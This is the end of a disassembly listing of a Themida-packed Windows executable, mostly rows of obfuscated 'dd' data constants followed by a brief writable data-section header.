		dd 0F34E59FAh, 4877047Ah, 81562ACFh, 3D75FDEh, 665E5915h
		dd 81D2EB81h, 0DB816660h, 0F61FB6Dh, 0FE8CEB7h,	37000000h
		dd 93EB3A99h, 0DDD2343Ch, 0C0A36D01h, 66592039h, 66584EBFh
		dd 0BB60C18Bh, 4E1B7F99h, 3394E881h, 8B617E06h,	0FD38BC2h
		dd 589h, 6340BE00h, 11E913EDh, 6F000000h, 806B0F15h, 716A58D6h
		dd 4733C637h, 63FC1642h, 66DBB70Fh, 0E9B056BFh,	9, 0EB52B8C1h
		dd 4C5BA5ABh, 23BB66BAh, 8E8F837h, 0B8000000h, 698C174h
		dd 5992FA30h, 0DE9h, 1614200h, 75C32409h, 412D0E50h, 66F5E646h
		dd 522B49BFh, 665ACF8Bh, 0A8C2E281h, 860FD78Bh,	18h, 13E9h
		dd 86AB7600h, 2041FF47h, 7834F269h, 15F750F4h, 0A8BC46E7h
		dd 4860Fh, 0BF660000h, 0BE605E04h, 1E6D70BDh, 1A0FCA81h
		dd 60617AE0h, 58616052h, 0D9EEF281h, 816136AEh,	222013C1h
		dd 14E912h, 80660000h, 8B56B2BBh, 8EEE2875h, 0E1EC9D1h
		dd 0C5B23853h, 5E8DCC8h, 0C3000000h, 0F255D9A1h, 0EE8h
		dd 4BE69A00h, 0E0707B7Dh, 0C04B6BB8h, 0FB52BD1h, 5E58DEB7h
		dd 10B2EA81h, 8FBE1616h, 60077544h, 0DE8BF561h,	67CA0CBFh
		dd 0D8B70F58h, 60FC60F8h, 8A0FD88Bh, 0
		dd 81666161h, 8B96F4D3h, 2890FF3h, 8A000000h, 0BE8F5h
		dd 62DF0000h, 99169F1h,	499ADA14h, 13E95200h, 0F8000000h
		dd 633784C0h, 91079735h, 5AB9ABFFh, 45AE06DEh, 585EB10Ah
		dd 0EF81D88Bh, 1299DB42h, 7E9h,	30309C00h, 0A85E02E4h
		dd 98A0Fh, 8A0F0000h, 3, 0BADAB70Fh, 5AEE057Fh,	840Fh
		dd 0F500000h, 38Bh, 0C78B6600h,	168E0F5Bh, 0F000000h, 1085h
		dd 0BE900h, 0E0920000h,	0AD1F1D8Ah, 279CA73Ah, 0F8E0F91h
		dd 0E8000000h, 8, 7B6F82B9h, 3DD11Ah, 0CE859F8h, 0F2000000h
		dd 0E167ED52h, 957610BEh, 52216921h, 7E9h, 37F2EA00h, 9D4F4F91h
		dd 0F7815B5Ah, 2184CE8h, 0DE9h,	977CCB00h, 61F407C4h, 0ACB84B83h
		dd 13E83A9Ch, 9000000h,	9E3AAA6Bh, 4039A0CFh, 571085ADh
		dd 7E4FDA13h, 8C0FC41Fh, 0
		dd 0CE95Ah, 840D0000h, 23973122h, 0C287A43Ch, 6E98224h
		dd 0C000000h, 1CB7C0C1h, 0A37FBA24h, 0B9536BFCh, 443D12B9h
		dd 0C0B70F5Ah, 0D860Fh,	5E80000h, 5B000000h, 0CFF8C3F9h
		dd 0E85EF08Bh, 0Ah, 0C8AC0479h,	6D49B13Dh, 8B66B45Bh, 890F5FDAh
		dd 9, 3840Fh, 0BF0F0000h, 8BF98BFAh, 0BB5BBFD7h, 8D0F6DD1h
		dd 5, 2DDDF6BEh, 4830F42h, 51000000h, 8B5E5950h, 5880FC3h
		dd 0BE000000h, 691EA7E2h, 8A0FD38Ah, 4,	4AADB866h, 0C7F5EA81h
		dd 0FE8B247Fh, 5351C181h, 66513742h, 5F49ADBBh,	890F5150h
		dd 0
		dd 8B665F5Eh, 19830FF2h, 0E9000000h, 14h, 0D9F26Ch, 9341D025h
		dd 7C24E452h, 836385BEh, 0D290714Dh, 0AE8h, 0F0F00900h
		dd 8D448FF1h, 5399FCB4h, 0BE665A59h, 7E8A6D7h, 0A8000000h
		dd 0F0F4D807h, 830F68B5h, 0Dh, 8E9h, 99CB7300h,	7ECAA2F6h
		dd 8166596Ch, 8B1413EEh, 47E181F9h, 0F528FA1h, 8B57C1BFh
		dd 0FFC5AF7h, 0D88h, 8E900h, 9A6A0000h,	2CD6ECF9h, 0CE970F3h
		dd 98000000h, 44C63E0Ch, 6426C0CAh, 66D114FEh, 91EECE81h
		dd 0C8C98166h, 1F850FDBh, 0E8000000h, 14h, 9E8C06DCh, 0B61C09A9h
		dd 1E11E6A0h, 68857546h, 0EDA83839h, 33EF03BBh,	10E95B0Bh
		dd 42000000h, 9ABA1072h, 986CEDA9h, 9654CCCBh, 81A1049Ch
		dd 6EE5B9DFh, 5890F17h,	0BB000000h, 76E0A703h, 93D6BE66h
		dd 3BD68166h, 89DB811Eh, 667F9076h, 66FBCEBEh, 0EBFCE281h
		dd 11800Fh, 0CE90000h, 2A000000h, 0BE09ABAFh, 0EE917488h
		dd 66236EF5h, 412CD181h, 0BB0B966h, 5880Fh, 81660000h
		dd 668D1DE9h, 12E9F88Bh, 0B9000000h, 0A768F324h, 86042BDAh
		dd 88F5B82Ah, 1E72D8F5h, 14AFB861h, 81524780h, 0E536ACEAh
		dd 0E9815F7Ch, 48D9CEE2h, 8166BEB2h, 0FE87EF0h,	0C68BD3BFh
		dd 0EE9h, 645C8F00h, 90939FCCh,	3ABAB064h, 0E980A58Eh
		dd 11h,	330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BE9E1h
		dd 6D4B0000h, 0AD5AAE55h, 689C5AC7h, 0F5FB8BE6h, 13E9F5h
		dd 37E10000h, 9F138A36h, 7EC68850h, 47808230h, 0D8590C89h
		dd 0D6805686h, 0D1B158C5h, 601ADA80h, 219CAABBh, 488CBB6Fh
		dd 60616E7Bh, 0FF08B66h, 1688h,	11E900h, 0F2490000h, 0E3ADBED4h
		dd 980FAC19h, 2BDD4CD4h, 6149DB91h, 0DE860h, 0FA160000h
		dd 316E7338h, 0A00700EBh, 0F934341h, 8Dh, 12E95E00h, 4D000000h
		dd 0E757545Bh, 913EB178h, 0EB942670h, 78D6925h,	6E861A7h
		dd 0C8000000h, 42EC0518h, 7AB9607Dh, 0F877D0E1h, 5E95A61h
		dd 0E9000000h, 104A72CCh, 118F0F60h, 0E9000000h, 0Ch, 4729E77Eh
		dd 93AFC2A8h, 0BCA5F260h, 3D98051h, 0EE96158h, 0A6000000h
		dd 0AF1F4FE1h, 9EE60716h, 44D837C3h, 10E960F4h,	57000000h
		dd 0AD161544h, 5E811A8Bh, 261D9BEDh, 0E94DD6FFh, 0Ah, 2C5F2E41h
		dd 7F61D8CAh, 0F61772Ah, 581h, 4B2CB900h, 0B70F4211h, 9E8FBh
		dd 30810000h, 8341E02Fh, 59AA746Bh, 0E961EE80h,	14h, 92EAF28Fh
		dd 337A209Ch, 0FC4627BBh, 1F4AEBB3h, 0D3D4FD30h, 8E9h
		dd 0BEF85C00h, 0F06E7069h, 800F6Fh, 81000000h, 0CF59FBC0h
		dd 80F08B79h, 0BF0F9FD9h, 28D0FD9h, 8B000000h, 0D1BF0FC3h
		dd 8AD7BE66h, 8144C981h, 8B662E7Eh, 28F0FC8h, 0B0000000h
		dd 0D88166D7h, 81665E9Ah, 0E9D219D2h, 8, 9EC092E6h, 9A4FB6B5h
		dd 12E960h, 6CEB0000h, 90C9FB1Eh, 665E581Ah, 809CF281h
		dd 4C526BD1h, 0F860Fh, 0AE90000h, 26000000h, 3DCB67D7h
		dd 0D137B2C2h, 0BE6661D0h, 0B70F5146h, 0CF8166CAh, 0C88B4CE6h
		dd 81D8BF0Fh, 68A40D6h,	0AE848h, 0C7CA0000h, 8F561EE1h
		dd 0EF0D78D3h, 0E959FA8Bh, 0Ch,	792A61FDh, 68C0ECA3h, 3AF970EAh
		dd 16810Fh, 11E90000h, 54000000h, 25B537F6h, 0B70EC33h
		dd 202FF0AEh, 3EEF4897h, 850F51h, 5A000000h, 5E0CB3B8h
		dd 0AA10BF70h, 66600813h, 3858C281h, 0F28B6660h, 61615853h
		dd 0E8D88B66h, 6, 0B887AAF6h, 11E91B28h, 0C2000000h, 0BF48C73Bh
		dd 0F5C531E0h, 7A687013h, 342B2AABh, 0C1B9665Ah, 11E95Ah
		dd 0F2EF0000h, 5B7A780Ah, 1B67A72Bh, 0ABBF3939h, 60AFF3F9h
		dd 5840Fh, 81660000h, 662D94E8h, 4AAAD281h, 0B74AB061h
		dd 81666067h, 0F7A1CC9h, 686h, 810F00h,	61000000h, 0C800Fh
		dd 7E90000h, 69000000h,	9C934B8Ch, 0D5802653h, 0AE91Ah
		dd 474E0000h, 5C65B577h, 0E64552DAh, 66FFB70Fh,	5839E281h
		dd 0D49C8CBFh, 5820F78h, 0BA000000h, 29E92CFAh,	0E958F856h
		dd 7, 423107F7h, 0FC863550h, 51C78B66h,	5AECB656h, 0CA81665Eh
		dd 60605BD2h, 6AD88166h, 8F0F8Dh, 61000000h, 2830Fh, 59510000h
		dd 0FBBF0F61h, 6650D781h, 60F5608Eh, 81C78B66h,	48CF34C9h
		dd 9DB36125h, 0D8B0Fh, 8E90000h, 1B000000h, 24F01DD5h
		dd 66B65FB8h, 0B92B0FBAh, 729AC6E1h, 2890F57h, 8B000000h
		dd 0BE6658F8h, 12E8C27Dh, 71000000h, 3DD97920h,	38B3FB58h
		dd 60328312h, 30AAB95Bh, 68B0F1Eh, 0F000000h, 8Eh, 1BBB5E00h
		dd 0B9781DABh, 6140D42Fh, 26B96653h, 8E959D1h, 5B000000h
		dd 76D22F72h, 5737DB27h, 12E85Fh, 50180000h, 0F6DB88ABh
		dd 0A0F35C0Ch, 3E312BBDh, 5AB64611h, 74DF815Eh,	0F9206EACh
		dd 178B0Fh, 12E90000h, 0E2000000h, 0BF02B776h, 384D287Ah
		dd 9964971Ch, 667E8499h, 665A57A1h, 9B6CE081h, 8D0F2CB1h
		dd 5, 38F18166h, 0C08166D7h, 0B36027DDh, 12E910h, 0F1860000h
		dd 692BB5C5h, 4979305Bh, 539D5F25h, 42E568F1h, 34BB6661h
		dd 0FF38A24h, 1389h, 0EE900h, 7E1E0000h, 4A0258h, 6A8BDD6Ch
		dd 8FAF0E62h, 0FDE8B66h, 386h, 0D9B70F00h, 0AE923EBBh
		dd 6BDF8035h, 0FE9h, 9E822E00h,	0C4C75C7h, 20466332h, 30E42EC4h
		dd 5820Fh, 33B90000h, 0F4ACE0Ah, 0E381D7B7h, 6C91DFC2h
		dd 13E8h, 91390300h, 47C250B9h,	18B5A0FBh, 373B5268h, 450039E0h
		dd 9DF4805Fh, 1CCA8166h, 2840F90h, 0B3000000h, 0B1B95336h
		dd 5B1C035Ah, 18F0Fh, 66FC0000h, 567341BAh, 8E95Fh, 7E800000h
		dd 9443B44Ah, 66F8DC96h, 0BF17E281h, 56C3BF0Fh,	6E8h, 0EBC6C00h
		dd 0E88DA7E1h, 0Eh, 583E46C9h, 2A857FC2h, 7A10B225h, 5B599A83h
		dd 0AE959h, 0F3390000h,	0BB47026Fh, 4F8C2D1Bh, 0BE47D680h
		dd 62420110h, 8DCBF66h,	3810Fh,	0BF0F0000h, 0BAB460D8h
		dd 0BD44EEBFh, 14E9613Eh, 0DF000000h, 79D5EFE5h, 935D4744h
		dd 0A86F792Eh, 6D19C2BAh, 0E9E6FCEBh, 14h, 0B3BE820Eh
		dd 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh, 0E8F1B70Fh
		dd 6, 0B5673192h, 0B70F97D5h, 8B6658DAh, 3800FF3h, 0F000000h
		dd 8B66F9B7h, 0C5B860F2h, 81180C34h, 420C22E7h,	0CE816177h
		dd 608036D5h, 52F0B70Fh, 10F0BB66h, 1C0805Ah, 0A500C181h
		dd 0C3B06F08h, 0FC1B70Fh, 28Ch,	8B47B200h, 0FEBF0FF8h
		dd 68D0FF8h, 81000000h,	9C30B4DAh, 7E941h, 278A0000h, 6328507Fh
		dd 11E934h, 463E0000h, 0C8C87195h, 0DACA6649h, 50C2BBF0h
		dd 0B2ACC8B5h, 0E1BF66CCh, 0F8BB66E1h, 0B675B13Eh, 8E9DAh
		dd 27E30000h, 0CF924F3Eh, 0B86629F4h, 0D18A4291h, 8C3BE081h
		dd 0DA8B5EF2h, 60ACAFBEh, 11E955h, 0BF6B0000h, 563A32EDh
		dd 872AAFC3h, 926D7638h, 80D80ED5h, 10E9ECD1h, 0A1000000h
		dd 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 8B9D7C59h, 6860FD3h
		dd 81000000h, 0B6A0BEE9h, 0D9B70F18h, 5E9h, 0E8EEDA00h
		dd 0A9BA00ABh, 8B00D7B5h, 0EE9F8h, 0F27F0000h, 97FFED7Ah
		dd 5C797D11h, 0E9D643AEh, 6052F380h, 0BA66CF8Bh, 80614B1Bh
		dd 5157B3D6h, 11E8h, 0D6963E00h, 0C6B190A6h, 4694A05h
		dd 6F21A31Ch, 5A58D720h, 2D33BF5Ah, 810F2C1Fh, 6, 8D16E981h
		dd 8A0F01FCh, 0
		dd 0FF28B66h, 28Ch, 66ABB500h, 0F94CF8BAh, 6628E880h, 82A8CF81h
		dd 5810Fh, 38BA0000h, 0E92C448Ch, 11h, 9AC76D3Dh, 671E4034h
		dd 76B82558h, 409F43EDh, 6E9F913h, 0EF000000h, 0A08B8321h
		dd 0C6B70FE5h, 0A890Fh,	81600000h, 432772E7h, 6158531Eh
		dd 13E8h, 4A818E00h, 359783CDh,	0E63F7C33h, 2F28BCC6h
		dd 0A07C26C8h, 14E9h, 0D7C8F600h, 61CB1B49h, 9C001A28h
		dd 9E9B184Eh, 7E35D87Eh, 0E9505FA5h, 11h, 31F78CB5h, 872EA52h
		dd 0E751A649h, 8E40C4C2h, 52F95A93h, 5824E280h,	0C3BF0F60h
		dd 0DE9h, 595D8500h, 4CC1E0AFh,	0D204B7B8h, 0E961510Dh
		dd 11h,	8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h
		dd 7FC0803Ah, 0E8C8DB80h, 14h, 0B94945B7h, 0BB99E6D8h
		dd 0E90CB925h, 75A810F0h, 0A4A5EA37h, 66E88166h, 0C3815EFFh
		dd 1976E980h, 14E8h, 4E0E3300h,	0C547FCDAh, 82FF728Bh
		dd 0CED6CE05h, 8077AC21h, 0CE962h, 0C5060000h, 0F167BDC4h
		dd 6D813BF4h, 28591223h, 3B2h dup(28A66DB1h), 5E516DB1h
		dd 20Ah	dup(5E511A83h),	77511A83h, 0F5h	dup(77E1B92Ch)
		dd 0E1E1B92Ch, 0A4h dup(0E1970665h), 333h dup(0FA800710h)
		dd 0CC800710h, 973h dup(0CCCCCCCCh), 0CCCCCCh, 293h dup(0)
Themida_	ends

; Section 5. (virtual address 001AE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001AE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5AE000h
		dd 80h dup(0)
		dd 240h	dup(?)
dword_5AEB00	dd 140h	dup(?)		; DATA XREF: Themida_:00530C6Co
_idata2		ends


		end start